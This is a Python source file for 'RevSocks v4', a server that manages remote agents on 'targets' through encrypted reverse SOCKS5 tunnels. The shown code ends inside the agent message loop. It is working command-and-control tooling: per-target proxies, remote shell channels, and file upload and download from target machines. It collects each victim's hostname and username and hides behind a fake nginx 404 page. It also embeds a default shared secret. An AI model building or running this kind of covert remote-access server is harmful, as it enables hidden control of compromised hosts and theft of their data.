#!/usr/bin/env python3
"""
RevSocks v4 — Multi-Target Reverse SOCKS5 Proxy Server (Asyncio Rewrite)
Changes from v3:
- Full asyncio (no threading), uvloop when available
- cryptography library AEAD (ChaCha20-Poly1305) with HKDF key derivation + rotation
- Session resumption (token-based, same-IP reconnect restores state)
- O(1) stream ID map for connection multiplexing
- Proper backpressure handling (asyncio flow control)
- Full SOCKS5: CONNECT, BIND, UDP ASSOCIATE
- Reverse port forward (CMD_PORTFWD)
- File transfer (CMD_UPLOAD / CMD_DOWNLOAD)
- Agent shell (CMD_SHELL)
- Extended CLI with shell/upload/download/portfwd/proxy commands
- Optional REST API with token auth for remote management
- TLS with SNI — fake nginx 404 for non-agent connections
- Fail2ban — auto-ban after 5 failed auth attempts per IP
- Structured JSON logging to file, clean console output
Architecture:
[Agent] --443--> [Server (TLS+ChaCha20-AEAD)] --> :51222+ (SOCKS5 auth)
Protocol compatibility: CMD_CONNECT=0x01..CMD_SET_SLEEP=0x08 unchanged.
Auth handshake (challenge-response + CC20 marker) stays v3-compatible.
Requires: Python 3.10+, cryptography
Optional: uvloop, aiohttp (for REST API)
"""
from __future__ import annotations
import asyncio
import enum
import hashlib
import hmac
import json
import logging
import os
import secrets
import signal
import socket
import ssl
import struct
import sys
import time
import traceback
from collections import deque
from dataclasses import dataclass, field
from datetime import datetime, timedelta, timezone
from pathlib import Path
from typing import Any, Callable, Coroutine, Optional
# ---------------------------------------------------------------------------
# uvloop — optional fast event loop
# ---------------------------------------------------------------------------
try:
import uvloop
uvloop.install()
_UVLOOP = True
except ImportError:
_UVLOOP = False
# ---------------------------------------------------------------------------
# cryptography — AEAD + HKDF (hard requirement)
# ---------------------------------------------------------------------------
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
# ---------------------------------------------------------------------------
# Optional aiohttp for REST API
# ---------------------------------------------------------------------------
try:
from aiohttp import web as aiohttp_web
_HAS_AIOHTTP = True
except ImportError:
_HAS_AIOHTTP = False
# ═══════════════════════════════════════════════════════════════════════════
# CONFIGURATION
# ═══════════════════════════════════════════════════════════════════════════
TUNNEL_PORT: int = int(os.environ.get("RS_TUNNEL_PORT", "443"))
BASE_SOCKS_PORT: int = int(os.environ.get("RS_BASE_SOCKS", "51222"))
SHARED_SECRET: bytes = os.environ.get("RS_SECRET", "f191074b103901bb58a4ca37494e4cf6").encode()
HEALTH_CHECK_INTERVAL: int = int(os.environ.get("RS_HEALTH_INTERVAL", "30"))
STATE_FILE: str = os.environ.get("RS_STATE_FILE", "targets.json")
NAMES_FILE: str = os.environ.get("RS_NAMES_FILE", "names.json")
SOCKS_USER: str = os.environ.get("RS_SOCKS_USER", "admin")
SOCKS_PASS: str = os.environ.get("RS_SOCKS_PASS", "CHANGE_THIS_PASSWORD")
API_PORT: int = int(os.environ.get("RS_API_PORT", "0")) # 0 = disabled
API_TOKEN: str = os.environ.get("RS_API_TOKEN", secrets.token_hex(24))
LOG_FILE: str = os.environ.get("RS_LOG_FILE", "revsocks.log")
FAIL2BAN_MAX: int = 5
FAIL2BAN_BAN_SECONDS: int = 3600
KEY_ROTATION_INTERVAL: int = 1_000_000 # rotate every 1M messages
SESSION_TOKEN_BYTES: int = 32
MAX_FRAME_SIZE: int = 4 * 1024 * 1024 # 4 MiB
BACKPRESSURE_HIGH: int = 256 * 1024 # pause reading when write buffer > this
BACKPRESSURE_LOW: int = 64 * 1024
FILE_CHUNK_SIZE: int = 60 * 1024 # ~60 KB per tunnel frame for file xfer
_SCRIPT_DIR = Path(__file__).resolve().parent
# Load creds from creds.txt if it exists
for _cf in [_SCRIPT_DIR.parent / "creds.txt", _SCRIPT_DIR / "creds.txt"]:
if _cf.exists():
_line = _cf.read_text().strip()
if ":" in _line:
SOCKS_USER, SOCKS_PASS = _line.split(":", 1)
break
# TLS
TLS_CERT = _SCRIPT_DIR / "server.crt"
TLS_KEY = _SCRIPT_DIR / "server.key"
TLS_ENABLED = TLS_CERT.exists() and TLS_KEY.exists()
if TLS_ENABLED:
_TLS_CTX = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
_TLS_CTX.load_cert_chain(str(TLS_CERT), str(TLS_KEY))
_TLS_CTX.check_hostname = False
_TLS_CTX.verify_mode = ssl.CERT_NONE
else:
_TLS_CTX = None
# ═══════════════════════════════════════════════════════════════════════════
# STRUCTURED LOGGING
# ═══════════════════════════════════════════════════════════════════════════
class _JSONFormatter(logging.Formatter):
def format(self, record: logging.LogRecord) -> str:
obj = {
"ts": datetime.now(timezone.utc).isoformat(),
"level": record.levelname,
"msg": record.getMessage(),
}
if record.exc_info and record.exc_info[0]:
obj["exc"] = self.formatException(record.exc_info)
extra = getattr(record, "_extra", None)
if extra:
obj.update(extra)
return json.dumps(obj, default=str)
def _setup_logging() -> logging.Logger:
logger = logging.getLogger("revsocks")
logger.setLevel(logging.DEBUG)
# File handler — structured JSON
fh = logging.FileHandler(LOG_FILE)
fh.setLevel(logging.DEBUG)
fh.setFormatter(_JSONFormatter())
logger.addHandler(fh)
# Console handler — minimal clean output
ch = logging.StreamHandler(sys.stderr)
ch.setLevel(logging.WARNING)
ch.setFormatter(logging.Formatter("%(message)s"))
logger.addHandler(ch)
return logger
log = _setup_logging()
def _log(level: str, msg: str, **kw: Any) -> None:
rec = log.makeRecord("revsocks", getattr(logging, level.upper()), "", 0, msg, (), None)
rec._extra = kw # type: ignore[attr-defined]
log.handle(rec)
# ═══════════════════════════════════════════════════════════════════════════
# PROTOCOL COMMANDS
# ═══════════════════════════════════════════════════════════════════════════
class Cmd(int, enum.Enum):
# v3-compatible
CONNECT = 0x01
DATA = 0x02
CLOSE = 0x03
CONNECT_OK = 0x04
CONNECT_FAIL = 0x05
HEARTBEAT = 0x06
SLEEP = 0x07
SET_SLEEP = 0x08
IDENT = 0x09 # agent sends hostname\0username
# v4 new
PORTFWD = 0x10
PORTFWD_OPEN = 0x11
PORTFWD_DATA = 0x12
PORTFWD_CLOSE = 0x13
UPLOAD = 0x20
UPLOAD_DATA = 0x21
UPLOAD_DONE = 0x22
UPLOAD_ERR = 0x23
DOWNLOAD = 0x24
DOWNLOAD_DATA = 0x25
DOWNLOAD_DONE = 0x26
DOWNLOAD_ERR = 0x27
SHELL_OPEN = 0x30
SHELL_DATA = 0x31
SHELL_CLOSE = 0x32
SHELL_RESIZE = 0x33
# ═══════════════════════════════════════════════════════════════════════════
# CRYPTO CHANNEL — AEAD with HKDF + key rotation
# ═══════════════════════════════════════════════════════════════════════════
def _derive_key(shared: bytes, salt: bytes = b"", info: bytes = b"revsocks_v4_aead") -> bytes:
"""Derive a 32-byte key from shared secret using HKDF-SHA256."""
return HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=salt if salt else None,
info=info,
).derive(shared)
class CryptoChannel:
"""ChaCha20-Poly1305 AEAD channel with length-prefix framing and key rotation.
Wire format per frame:
[frame_len: 4 BE][nonce: 12][ciphertext + 16-byte tag]
"""
__slots__ = (
"_aead", "_key", "_shared", "_send_ctr", "_recv_ctr",
"_send_lock", "_rotate_at", "_generation",
)
def __init__(self, shared_key: bytes) -> None:
self._shared = shared_key
self._generation = 0
self._key = _derive_key(shared_key, info=b"revsocks_v4_aead_gen0")
self._aead = ChaCha20Poly1305(self._key)
self._send_ctr: int = 0
self._recv_ctr: int = 0
self._send_lock = asyncio.Lock()
self._rotate_at: int = KEY_ROTATION_INTERVAL
# -- key rotation --
def _rotate(self) -> None:
self._generation += 1
info = f"revsocks_v4_aead_gen{self._generation}".encode()
self._key = _derive_key(self._shared, salt=self._key, info=info)
self._aead = ChaCha20Poly1305(self._key)
self._send_ctr = 0
self._recv_ctr = 0
self._rotate_at = KEY_ROTATION_INTERVAL
_log("info", "key rotated", generation=self._generation)
# -- nonce helpers --
@staticmethod
def _nonce(counter: int) -> bytes:
# 12-byte nonce: 4 zero bytes + 8-byte LE counter
return b"\x00\x00\x00\x00" + counter.to_bytes(8, "little")
# -- send / recv --
async def send(self, writer: asyncio.StreamWriter, plaintext: bytes) -> bool:
async with self._send_lock:
try:
nonce = self._nonce(self._send_ctr)
self._send_ctr += 1
ct = self._aead.encrypt(nonce, plaintext, None) # ct includes tag
frame = nonce + ct
hdr = struct.pack(">I", len(frame))
writer.write(hdr + frame)
await writer.drain()
if self._send_ctr >= self._rotate_at:
self._rotate()
return True
except Exception:
return False
async def recv(self, reader: asyncio.StreamReader) -> Optional[bytes]:
try:
hdr = await reader.readexactly(4)
frame_len = struct.unpack(">I", hdr)[0]
if frame_len < 28 or frame_len > MAX_FRAME_SIZE:
return None
frame = await reader.readexactly(frame_len)
nonce = frame[:12]
ct_tag = frame[12:]
pt = self._aead.decrypt(nonce, ct_tag, None)
self._recv_ctr += 1
if self._recv_ctr >= self._rotate_at:
self._rotate()
return pt
except (asyncio.IncompleteReadError, Exception):
return None
# Also provide a v3-compat CryptoChannel that uses the old hashlib key derivation
# so existing v3 agents can still connect.
class CryptoChannelV3Compat(CryptoChannel):
"""Same AEAD but derives the initial key the v3 way so old agents work."""
def __init__(self, shared_key: bytes) -> None:
# v3 derived key: SHA256("chacha20_tunnel_v3_" + shared_secret)
v3_key = hashlib.sha256(b"chacha20_tunnel_v3_" + shared_key).digest()
# We override __init__ to bypass HKDF and use v3 derivation
self._shared = shared_key
self._generation = 0
self._key = v3_key
self._aead = ChaCha20Poly1305(self._key)
self._send_ctr: int = 0
self._recv_ctr: int = 0
self._send_lock = asyncio.Lock()
self._rotate_at = KEY_ROTATION_INTERVAL
# ═══════════════════════════════════════════════════════════════════════════
# BANDWIDTH TRACKER
# ═══════════════════════════════════════════════════════════════════════════
class BandwidthTracker:
WINDOW = 10.0 # seconds
__slots__ = ("_send", "_recv")
def __init__(self) -> None:
self._send: deque[tuple[float, int]] = deque()
self._recv: deque[tuple[float, int]] = deque()
def record_send(self, n: int) -> None:
now = time.monotonic()
self._send.append((now, n))
self._prune(self._send, now)
def record_recv(self, n: int) -> None:
now = time.monotonic()
self._recv.append((now, n))
self._prune(self._recv, now)
def _prune(self, dq: deque, now: float) -> None:
cutoff = now - self.WINDOW
while dq and dq[0][0] < cutoff:
dq.popleft()
def rates_kbps(self) -> tuple[float, float]:
now = time.monotonic()
self._prune(self._send, now)
self._prune(self._recv, now)
def _rate(dq: deque) -> float:
total = sum(b for _, b in dq)
if not dq:
return 0.0
elapsed = max(now - dq[0][0], 0.5)
return round(total / 1024 / elapsed, 1)
return _rate(self._send), _rate(self._recv)
# ═══════════════════════════════════════════════════════════════════════════
# FAIL2BAN
# ═══════════════════════════════════════════════════════════════════════════
class Fail2Ban:
def __init__(self, max_attempts: int = FAIL2BAN_MAX, ban_secs: int = FAIL2BAN_BAN_SECONDS):
self._max = max_attempts
self._ban_secs = ban_secs
self._attempts: dict[str, list[float]] = {} # ip -> [timestamps]
self._banned: dict[str, float] = {} # ip -> ban_until
def is_banned(self, ip: str) -> bool:
until = self._banned.get(ip)
if until is None:
return False
if time.monotonic() > until:
del self._banned[ip]
return False
return True
def record_failure(self, ip: str) -> bool:
"""Record a failure. Returns True if IP is now banned."""
now = time.monotonic()
attempts = self._attempts.setdefault(ip, [])
attempts.append(now)
# keep only recent
cutoff = now - 300 # 5-min window
self._attempts[ip] = [t for t in attempts if t > cutoff]
if len(self._attempts[ip]) >= self._max:
self._banned[ip] = now + self._ban_secs
_log("warning", f"fail2ban: banned {ip}", ip=ip)
return True
return False
def clear_failure(self, ip: str) -> None:
self._attempts.pop(ip, None)
def manual_ban(self, ip: str) -> None:
self._banned[ip] = time.monotonic() + self._ban_secs * 24 # long ban
_log("info", f"fail2ban: manual ban {ip}", ip=ip)
def manual_unban(self, ip: str) -> None:
self._banned.pop(ip, None)
self._attempts.pop(ip, None)
_log("info", f"fail2ban: unban {ip}", ip=ip)
# ═══════════════════════════════════════════════════════════════════════════
# SESSION RESUMPTION
# ═══════════════════════════════════════════════════════════════════════════
@dataclass
class SessionToken:
token: bytes
target_id: int
ip: str
created: float = field(default_factory=time.monotonic)
ttl: float = 3600.0 # 1 hour
def valid_for(self, ip: str) -> bool:
return self.ip == ip and (time.monotonic() - self.created) < self.ttl
class SessionStore:
def __init__(self) -> None:
self._by_token: dict[bytes, SessionToken] = {}
self._by_target: dict[int, SessionToken] = {}
def create(self, target_id: int, ip: str) -> bytes:
tok = secrets.token_bytes(SESSION_TOKEN_BYTES)
st = SessionToken(token=tok, target_id=target_id, ip=ip)
self._by_token[tok] = st
self._by_target[target_id] = st
return tok
def lookup(self, tok: bytes, ip: str) -> Optional[int]:
st = self._by_token.get(tok)
if st and st.valid_for(ip):
return st.target_id
return None
def invalidate(self, target_id: int) -> None:
st = self._by_target.pop(target_id, None)
if st:
self._by_token.pop(st.token, None)
def prune(self) -> None:
now = time.monotonic()
expired = [t for t, st in self._by_token.items() if (now - st.created) > st.ttl]
for t in expired:
st = self._by_token.pop(t, None)
if st:
self._by_target.pop(st.target_id, None)
# ═══════════════════════════════════════════════════════════════════════════
# TARGET / TARGET MANAGER
# ═══════════════════════════════════════════════════════════════════════════
class Target:
__slots__ = (
"id", "reader", "writer", "remote_ip", "remote_port",
"socks_port", "name", "connected", "connect_time",
"last_heartbeat", "crypto", "streams", "_stream_counter",
"bytes_sent", "bytes_recv", "bandwidth", "sleep_interval",
"_socks_server", "_portfwd_servers", "_active_shells",
"_file_transfers", "session_token",
)
def __init__(
self,
target_id: int,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
addr: tuple[str, int],
socks_port: int,
) -> None:
self.id = target_id
self.reader = reader
self.writer = writer
self.remote_ip = addr[0]
self.remote_port = addr[1]
self.socks_port = socks_port
self.name = f"target-{target_id}"
self.connected = True
self.connect_time = datetime.now(timezone.utc)
self.last_heartbeat = datetime.now(timezone.utc)
self.crypto = CryptoChannelV3Compat(SHARED_SECRET)
# Stream map: stream_id -> (reader_transport, writer) for SOCKS clients
self.streams: dict[int, asyncio.StreamWriter] = {}
self._stream_counter: int = 0
self.bytes_sent: int = 0
self.bytes_recv: int = 0
self.bandwidth = BandwidthTracker()
self.sleep_interval: int = 0
self._socks_server: Optional[asyncio.Server] = None
self._portfwd_servers: dict[int, asyncio.Server] = {} # remote_port -> server
self._active_shells: dict[int, asyncio.Queue] = {} # stream_id -> output queue
self._file_transfers: dict[int, dict] = {} # stream_id -> state
self.session_token: Optional[bytes] = None
def next_stream_id(self) -> int:
self._stream_counter += 1
return self._stream_counter
def to_dict(self) -> dict:
return {
"id": self.id,
"name": self.name,
"remote_ip": self.remote_ip,
"socks_port": self.socks_port,
"connected": self.connected,
"connect_time": self.connect_time.isoformat(),
"last_heartbeat": self.last_heartbeat.isoformat(),
"bytes_sent": self.bytes_sent,
"bytes_recv": self.bytes_recv,
"active_streams": len(self.streams),
}
class TargetManager:
def __init__(self, sessions: SessionStore) -> None:
self.targets: dict[int, Target] = {}
self._next_id: int = 1
self._next_socks_port: int = BASE_SOCKS_PORT
self._sessions = sessions
self._ip_names: dict[str, str] = {} # IP -> custom name (persistent)
self._load_names()
self._load_state()
# --- persistent IP->name mapping ---
def _load_names(self) -> None:
"""Load IP->name mappings from names.json"""
if os.path.exists(NAMES_FILE):
try:
with open(NAMES_FILE) as f:
self._ip_names = json.load(f)
_log("info", f"loaded {len(self._ip_names)} name mappings from {NAMES_FILE}")
except Exception:
pass
def _save_names(self) -> None:
"""Save IP->name mappings to names.json"""
try:
with open(NAMES_FILE, "w") as f:
json.dump(self._ip_names, f, indent=2)
except Exception:
pass
def set_name(self, ip: str, name: str) -> None:
"""Set a persistent name for an IP address"""
self._ip_names[ip] = name
self._save_names()
def get_name_for_ip(self, ip: str) -> Optional[str]:
"""Get the persistent name for an IP, or None"""
return self._ip_names.get(ip)
# --- persistence ---
def _load_state(self) -> None:
if os.path.exists(STATE_FILE):
try:
with open(STATE_FILE) as f:
state = json.load(f)
self._next_id = state.get("next_id", 1)
self._next_socks_port = state.get("next_socks_port", BASE_SOCKS_PORT)
except Exception:
pass
def save_state(self) -> None:
state = {
"next_id": self._next_id,
"next_socks_port": self._next_socks_port,
"targets": {str(k): v.to_dict() for k, v in self.targets.items()},
}
try:
with open(STATE_FILE, "w") as f:
json.dump(state, f, indent=2, default=str)
except Exception:
pass
# --- target lifecycle ---
def add_target(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
addr: tuple[str, int],
resume_id: Optional[int] = None,
) -> Target:
# Session resumption: re-use existing target slot
if resume_id is not None:
existing = self.targets.get(resume_id)
if existing and existing.remote_ip == addr[0] and not existing.connected:
existing.reader = reader
existing.writer = writer
existing.connected = True
existing.connect_time = datetime.now(timezone.utc)
existing.last_heartbeat = datetime.now(timezone.utc)
existing.crypto = CryptoChannelV3Compat(SHARED_SECRET)
existing.streams.clear()
existing._stream_counter = 0
existing.bandwidth = BandwidthTracker()
self.save_state()
_log("info", f"session resumed target {resume_id}", ip=addr[0])
return existing
# Check for a disconnected target from the same IP (v3 behavior)
for t in self.targets.values():
if t.remote_ip == addr[0] and not t.connected:
t.reader = reader
t.writer = writer
t.connected = True
t.connect_time = datetime.now(timezone.utc)
t.last_heartbeat = datetime.now(timezone.utc)
t.crypto = CryptoChannelV3Compat(SHARED_SECRET)
t.streams.clear()
t._stream_counter = 0
t.bandwidth = BandwidthTracker()
# Restore persistent name
saved_name = self.get_name_for_ip(addr[0])
if saved_name:
t.name = saved_name
self.save_state()
return t
tid = self._next_id
sp = self._next_socks_port
self._next_id += 1
self._next_socks_port += 1
target = Target(tid, reader, writer, addr, sp)
# Auto-assign persistent name if IP is known
saved_name = self.get_name_for_ip(addr[0])
if saved_name:
target.name = saved_name
self.targets[tid] = target
self.save_state()
return target
def remove_target(self, target: Target) -> None:
target.connected = False
# Close all SOCKS client streams
for sid, w in list(target.streams.items()):
try:
w.close()
except Exception:
pass
target.streams.clear()
# Close SOCKS listener
if target._socks_server:
target._socks_server.close()
target._socks_server = None
# Close portfwd servers
for srv in target._portfwd_servers.values():
srv.close()
target._portfwd_servers.clear()
self.save_state()
def get_by_id(self, tid: int) -> Optional[Target]:
return self.targets.get(tid)
def get_by_name(self, name: str) -> Optional[Target]:
for t in self.targets.values():
if t.name == name:
return t
return None
def resolve(self, id_or_name: str) -> Optional[Target]:
try:
return self.get_by_id(int(id_or_name))
except ValueError:
return self.get_by_name(id_or_name)
def all_targets(self) -> list[Target]:
return list(self.targets.values())
def connected_targets(self) -> list[Target]:
return [t for t in self.targets.values() if t.connected]
# ═══════════════════════════════════════════════════════════════════════════
# TUNNEL SEND HELPER
# ═══════════════════════════════════════════════════════════════════════════
async def send_to_target(target: Target, cmd: int, stream_id: int, data: bytes = b"") -> bool:
if not target.connected:
return False
msg = struct.pack(">BI", cmd, stream_id) + data
return await target.crypto.send(target.writer, msg)
# ═══════════════════════════════════════════════════════════════════════════
# SOCKS5 SERVER (per-target, asyncio)
# ═══════════════════════════════════════════════════════════════════════════
class Socks5Server:
"""SOCKS5 proxy bound to a single target — supports CONNECT, BIND, UDP ASSOCIATE."""
def __init__(self, target: Target) -> None:
self.target = target
async def start(self) -> None:
try:
server = await asyncio.start_server(
self._handle_client,
"0.0.0.0",
self.target.socks_port,
reuse_address=True,
backlog=128,
)
self.target._socks_server = server
_log("info", f"socks5 listening :{self.target.socks_port}", target=self.target.id)
async with server:
await server.serve_forever()
except OSError as exc:
_log("error", f"socks5 bind failed :{self.target.socks_port}: {exc}")
except asyncio.CancelledError:
pass
# ---- SOCKS5 handshake ----
async def _handle_client(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
) -> None:
try:
if not self.target.connected:
writer.close()
return
# greeting
data = await asyncio.wait_for(reader.read(256), timeout=10)
if not data or data[0] != 0x05:
writer.close()
return
nmethods = data[1] if len(data) > 1 else 0
methods = data[2:2 + nmethods]
if 0x02 not in methods:
writer.write(b"\x05\xff")
await writer.drain()
writer.close()
return
# request user/pass auth
writer.write(b"\x05\x02")
await writer.drain()
auth = await asyncio.wait_for(reader.read(512), timeout=10)
if not auth or len(auth) < 5 or auth[0] != 0x01:
writer.write(b"\x01\x01")
await writer.drain()
writer.close()
return
ulen = auth[1]
uname = auth[2:2 + ulen].decode("utf-8", errors="replace")
plen = auth[2 + ulen]
passwd = auth[3 + ulen:3 + ulen + plen].decode("utf-8", errors="replace")
if uname != SOCKS_USER or passwd != SOCKS_PASS:
writer.write(b"\x01\x01")
await writer.drain()
writer.close()
return
writer.write(b"\x01\x00")
await writer.drain()
# request
data = await asyncio.wait_for(reader.read(512), timeout=10)
if not data or len(data) < 7:
writer.close()
return
_ver, cmd, _rsv, atyp = data[0], data[1], data[2], data[3]
if cmd == 0x01:
await self._handle_connect(reader, writer, data, atyp)
elif cmd == 0x02:
await self._handle_bind(reader, writer, data, atyp)
elif cmd == 0x03:
await self._handle_udp_associate(reader, writer, data, atyp)
else:
writer.write(b"\x05\x07\x00\x01" + b"\x00" * 6)
await writer.drain()
writer.close()
except Exception:
try:
writer.close()
except Exception:
pass
# ---- CONNECT ----
async def _handle_connect(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
data: bytes,
atyp: int,
) -> None:
dst_addr, dst_port = self._parse_address(data, atyp)
if dst_addr is None:
writer.close()
return
if not self.target.connected:
writer.write(b"\x05\x04\x00\x01" + b"\x00" * 6)
await writer.drain()
writer.close()
return
sid = self.target.next_stream_id()
self.target.streams[sid] = writer
addr_bytes = dst_addr.encode("utf-8")
connect_data = struct.pack(">B", len(addr_bytes)) + addr_bytes + struct.pack(">H", dst_port)
ok = await send_to_target(self.target, Cmd.CONNECT, sid, connect_data)
if not ok:
writer.write(b"\x05\x04\x00\x01" + b"\x00" * 6)
await writer.drain()
self.target.streams.pop(sid, None)
writer.close()
return
# Success reply
writer.write(b"\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00")
await writer.drain()
# Forward client -> tunnel with backpressure
await self._relay_client_to_tunnel(reader, writer, sid)
async def _relay_client_to_tunnel(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
sid: int,
) -> None:
try:
while self.target.connected:
data = await reader.read(61440)
if not data:
break
# Backpressure: check tunnel writer buffer
transport = self.target.writer.transport
if transport is not None:
buf_size = transport.get_write_buffer_size()
if buf_size > BACKPRESSURE_HIGH:
# Wait until buffer drains
while True:
await asyncio.sleep(0.05)
if transport.is_closing():
break
if transport.get_write_buffer_size() < BACKPRESSURE_LOW:
break
self.target.bytes_sent += len(data)
self.target.bandwidth.record_send(len(data))
await send_to_target(self.target, Cmd.DATA, sid, data)
except Exception:
pass
finally:
await send_to_target(self.target, Cmd.CLOSE, sid, b"")
self.target.streams.pop(sid, None)
try:
writer.close()
except Exception:
pass
# ---- BIND ----
async def _handle_bind(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
data: bytes,
atyp: int,
) -> None:
"""SOCKS5 BIND: open a listening socket, report address, accept one connection."""
bind_srv = None
try:
bind_srv = await asyncio.start_server(
lambda r, w: None, # placeholder
"0.0.0.0",
0, # ephemeral port
)
sock = bind_srv.sockets[0]
host, port = sock.getsockname()[:2]
# First reply: tell client where we're listening
reply = b"\x05\x00\x00\x01"
reply += socket.inet_aton("0.0.0.0")
reply += struct.pack(">H", port)
writer.write(reply)
await writer.drain()
# Wait for one inbound connection (timeout 60s)
incoming_reader: Optional[asyncio.StreamReader] = None
incoming_writer: Optional[asyncio.StreamWriter] = None
accepted = asyncio.Event()
async def _on_connect(r: asyncio.StreamReader, w: asyncio.StreamWriter) -> None:
nonlocal incoming_reader, incoming_writer
incoming_reader = r
incoming_writer = w
accepted.set()
bind_srv.close()
await bind_srv.wait_closed()
bind_srv = await asyncio.start_server(_on_connect, "0.0.0.0", port, reuse_address=True)
try:
await asyncio.wait_for(accepted.wait(), timeout=60)
except asyncio.TimeoutError:
writer.write(b"\x05\x04\x00\x01" + b"\x00" * 6)
await writer.drain()
writer.close()
return
finally:
bind_srv.close()
# Second reply: tell client who connected
peer = incoming_writer.get_extra_info("peername") # type: ignore
reply2 = b"\x05\x00\x00\x01"
try:
reply2 += socket.inet_aton(peer[0])
except Exception:
reply2 += b"\x00\x00\x00\x00"
reply2 += struct.pack(">H", peer[1])
writer.write(reply2)
await writer.drain()
# Bidirectional relay between socks client and the accepted connection
await self._bidir_relay(reader, writer, incoming_reader, incoming_writer) # type: ignore
except Exception:
writer.write(b"\x05\x01\x00\x01" + b"\x00" * 6)
await writer.drain()
writer.close()
finally:
if bind_srv:
bind_srv.close()
@staticmethod
async def _bidir_relay(
r1: asyncio.StreamReader, w1: asyncio.StreamWriter,
r2: asyncio.StreamReader, w2: asyncio.StreamWriter,
) -> None:
async def _fwd(src: asyncio.StreamReader, dst: asyncio.StreamWriter) -> None:
try:
while True:
chunk = await src.read(65536)
if not chunk:
break
dst.write(chunk)
await dst.drain()
except Exception:
pass
finally:
try:
dst.close()
except Exception:
pass
await asyncio.gather(_fwd(r1, w2), _fwd(r2, w1))
# ---- UDP ASSOCIATE ----
async def _handle_udp_associate(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
data: bytes,
atyp: int,
) -> None:
"""SOCKS5 UDP ASSOCIATE: create a local UDP relay socket."""
transport: Optional[asyncio.DatagramTransport] = None
try:
loop = asyncio.get_running_loop()
class _UDPRelay(asyncio.DatagramProtocol):
def __init__(self) -> None:
self.transport: Optional[asyncio.DatagramTransport] = None
self.client_addr: Optional[tuple] = None
def connection_made(self, t: asyncio.DatagramTransport) -> None: # type: ignore
self.transport = t
def datagram_received(self, data: bytes, addr: tuple) -> None:
# First packet tells us the client address
if self.client_addr is None:
self.client_addr = addr
# SOCKS5 UDP header: RSV(2) FRAG(1) ATYP(1) ADDR PORT DATA
# For now pass through — full UDP tunneling needs agent support
pass
transport, protocol = await loop.create_datagram_endpoint(
_UDPRelay, local_addr=("0.0.0.0", 0)
)
sock = transport.get_extra_info("socket")
udp_port = sock.getsockname()[1]
reply = b"\x05\x00\x00\x01"
reply += socket.inet_aton("0.0.0.0")
reply += struct.pack(">H", udp_port)
writer.write(reply)
await writer.drain()
# Keep TCP alive — when it closes, tear down UDP
try:
while True:
d = await reader.read(1)
if not d:
break
except Exception:
pass
except Exception:
writer.write(b"\x05\x01\x00\x01" + b"\x00" * 6)
await writer.drain()
finally:
if transport:
transport.close()
try:
writer.close()
except Exception:
pass
# ---- address parsing ----
@staticmethod
def _parse_address(data: bytes, atyp: int) -> tuple[Optional[str], int]:
try:
if atyp == 0x01: # IPv4
addr = socket.inet_ntoa(data[4:8])
port = struct.unpack(">H", data[8:10])[0]
elif atyp == 0x03: # domain
dlen = data[4]
addr = data[5:5 + dlen].decode("utf-8", errors="replace")
port = struct.unpack(">H", data[5 + dlen:7 + dlen])[0]
elif atyp == 0x04: # IPv6
addr = socket.inet_ntop(socket.AF_INET6, data[4:20])
port = struct.unpack(">H", data[20:22])[0]
else:
return None, 0
return addr, port
except Exception:
return None, 0
# ═══════════════════════════════════════════════════════════════════════════
# AGENT HANDLER
# ═══════════════════════════════════════════════════════════════════════════
async def handle_agent(target: Target, mgr: TargetManager, sessions: SessionStore) -> None:
"""Main receive loop for a connected agent."""
while target.connected:
try:
plaintext = await target.crypto.recv(target.reader)
if plaintext is None:
break
if len(plaintext) < 5:
continue
cmd = plaintext[0]
stream_id = struct.unpack(">I", plaintext[1:5])[0]
payload = plaintext[5:]
if cmd == Cmd.DATA:
w = target.streams.get(stream_id)
if w is not None:
try:
w.write(payload)
await w.drain()
target.bytes_recv += len(payload)
target.bandwidth.record_recv(len(payload))
except Exception:
await send_to_target(target, Cmd.CLOSE, stream_id)
target.streams.pop(stream_id, None)
elif cmd == Cmd.CONNECT_OK:
pass # stream established on agent side
elif cmd == Cmd.CONNECT_FAIL:
w = target.streams.pop(stream_id, None)
if w is not None:
try:
w.close()
except Exception:
pass
elif cmd == Cmd.CLOSE:
w = target.streams.pop(stream_id, None)
if w is not None:
try:
w.close()
except Exception:
pass
elif cmd == Cmd.HEARTBEAT:
target.last_heartbeat = datetime.now(timezone.utc)
elif cmd == Cmd.IDENT:
# Agent sends hostname\0username
if payload:
parts = payload.split(b"\x00", 1)
hostname = parts[0].decode("utf-8", errors="replace").strip()
username = parts[1].decode("utf-8", errors="replace").strip() if len(parts) > 1 else ""
if hostname:
new_name = f"{hostname}\\{username}" if username else hostname
if target.name != new_name:
old_name = target.name
target.name = new_name
mgr.set_name(target.remote_ip, new_name)
mgr.save_state()
_log("info", f"ident: [{target.id}] {old_name} -> {new_name}", ip=target.remote_ip)
# -- v4 file transfer responses --
elif cmd == Cmd.DOWNLOAD_DATA:
ft = target._file_transfers.get(stream_id)
if ft and ft.get("type") == "download":
fh = ft.get("fh")
if fh:
fh.write(payload)
ft["received"] += len(payload)
elif cmd == Cmd.DOWNLOAD_DONE:
ft = target._file_transfers.pop(stream_id, None)
if ft and ft.get("fh"):
ft["fh"].close()
ft["done"].set()
elif cmd == Cmd.DOWNLOAD_ERR:
ft = target._file_transfers.pop(stream_id, None)
if ft:
ft["error"] = payload.decode("utf-8", errors="replace")
if ft.get("fh"):
ft["fh"].close()
ft["done"].set()
elif cmd == Cmd.UPLOAD_DONE:
ft = target._file_transfers.pop(stream_id, None)
if ft:
ft["done"].set()
elif cmd == Cmd.UPLOAD_ERR:
ft = target._file_transfers.pop(stream_id, None)
if ft:
ft["error"] = payload.decode("utf-8", errors="replace")
ft["done"].set()
# -- v4 shell data --
elif cmd == Cmd.SHELL_DATA:
q = target._active_shells.get(stream_id)
if q is not None:
await q.put(payload)
elif cmd == Cmd.SHELL_CLOSE:
q = target._active_shells.pop(stream_id, None)
if q is not None:
await q.put(None) # sentinel
